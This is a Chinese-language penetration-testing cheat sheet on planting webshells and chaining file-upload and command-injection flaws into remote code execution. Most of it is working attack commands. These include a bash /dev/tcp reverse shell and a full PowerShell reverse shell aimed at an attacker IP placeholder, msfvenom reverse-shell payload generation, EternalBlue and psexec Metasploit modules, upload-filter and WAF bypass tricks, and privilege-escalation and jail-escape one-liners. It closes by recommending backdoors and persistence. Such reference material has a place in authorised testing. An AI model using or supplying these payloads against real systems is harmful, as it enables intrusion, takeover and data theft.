Webshel​​l

🔍 1. 發現點 (漏洞發現)

未受限制的文件上傳 (Unrestricted File Upload) → 可能導致遠端代碼執行 (RCE) ✅ 命令注入 (Command Injection) → 可能允許直接執行系統命令


🚀 2. 測試 Payload (有效載荷測試) 📌 文件上傳測試

  • 使用 WebShell (.php, .aspx, .jsp) 測試是否可以執行

  • 嘗試 繞過過濾機制 (MIME 類型過濾、文件擴展名黑名單、雙重擴展名 .jpg.php)

  • 使用 revshells.com 生成反向 Shell (Reverse Shell)

📌 命令注入測試

  • 嘗試基本命令執行:

    whoami && uname -a
    ipconfig && net user
  • 測試常見繞過技巧 (;, &&, ||, |, $(), ` `)

  • 嘗試 Base64 / URL 編碼 避開 WAF


🛠️ 3. 繞過技巧 (Bypass 技巧)

使用 URL 編碼繞過 WAF使用雙重擴展名 (.jpg.php, .asp;.txt) 上傳 WebShell利用 HTTP 參數污染 (HTTP Parameter Pollution, HPP) 進行繞過修改 Content-Typeimage/jpeg 以繞過 MIME 過濾嘗試 NTFS ADS (file.asp::$DATA) 在 Windows 伺服器上繞過檢測

更多技巧可參考:revshells.com


🎯 4. 進一步測試 (深度利用) 🔹 權限提升 (Privilege Escalation)

  • sudo -l → 查看當前用戶可以執行的 sudo 命令 (Linux)

  • whoami /priv → 檢查 Windows 權限,查看是否有 SeImpersonatePrivilege (可用於 Juicy Potato 提權)

🔹 反向 Shell 測試 (Reverse Shell Execution)

  • Linux Netcat 反向 Shell

    bash -i >& /dev/tcp/攻擊者IP/攻擊者端口 0>&1
  • Windows PowerShell 反向 Shell

    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('攻擊者IP', 攻擊者端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

🔗 5. 連鎖漏洞 (漏洞鏈接)未受限制的文件上傳 (Unrestricted File Upload) → 上傳 WebShell (cmd.aspx)命令注入 (Command Injection) → 直接 RCE (ping 攻擊者IP)IIS 短檔名枚舉 (IIS Tilde Enumeration) → 洩露隱藏的 .aspx 文件爆破完整檔名 (.config, .asp, .txt) → 找到敏感文件 (admin_login.aspx) ✅ SQL 注入 (SQLi) 測試 (sqlmap -u "http://目標/admin_login.aspx?id=1")進一步利用 RCE / 權限提升 (Privilege Escalation) 取得系統控制權


🔥 6. 常用命令與濫用技巧

📌 遠程桌面攻擊 (RDP Exploitation)

xfreerdp /v:<目標IP> /u:<用戶名> /p:<密碼>
  • 使用 RDP 連接 Windows 目標,可能進一步控制系統

📌 Netcat 監聽與連接 (Netcat Listener & Connection)

sudo nc -lvnp <PORT>
  • 啟動 Netcat 監聽器,等待反向 Shell

nc -nv <攻擊者IP> <PORT>
  • 手動連接目標機器的 Netcat Shell

📌 Metasploit 漏洞利用

use exploit/windows/smb/psexec
  • 使用 psexec 針對 Windows SMB 進行遠端攻擊

use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_psexec
  • MS17-010 (永恆之藍漏洞) 攻擊,利用 SMB 取得 Shell

📌 MSFVenom 生成 Payload

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<攻擊者IP> LPORT=<PORT> -f elf > shell.elf
  • 生成 Linux 反向 Shell Payload

msfvenom -p windows/shell_reverse_tcp LHOST=<攻擊者IP> LPORT=<PORT> -f exe > shell.exe
  • 生成 Windows 反向 Shell Payload

📌 WebShell 位置

/usr/share/webshells/laudanum
/usr/share/nishang/Antak-WebShell
  • LaudanumNishang WebShell 可用於滲透測試


🎯 7. 權限提升與逃逸 📌 獲取互動式 Shell

python -c 'import pty; pty.spawn("/bin/sh")'
  • 讓 Shell 變成交互式,可使用 clear, nano 等指令

📌 VIM 逃逸 Shell

vim -c ':!/bin/sh'
  • 在受限制的環境 (jail shell) 中逃逸獲取完整 Shell

📌 檢查 Sudo 權限

sudo -l
  • 檢查當前用戶是否可以執行 sudo 命令

📌 查找 SUID 二進制文件

find / -perm -4000 -type f 2>/dev/null
  • 查找 SUID 權限的可執行文件,可能可用於提權


8. 下一步建議 (進一步攻擊) 📌 測試 IIS 短檔名枚舉 (IIS Short Name Scanner) 📌 嘗試 SQL 注入 (sqlmap) 或 XSS 測試 📌 獲取反向 Shell → 提升權限 (Privilege Escalation) 📌 建立後門 / 保持存取權限 (Persistence)

這樣能夠將攻擊鏈條最大化,進一步滲透!💀🚀

最后更新于

这有帮助吗?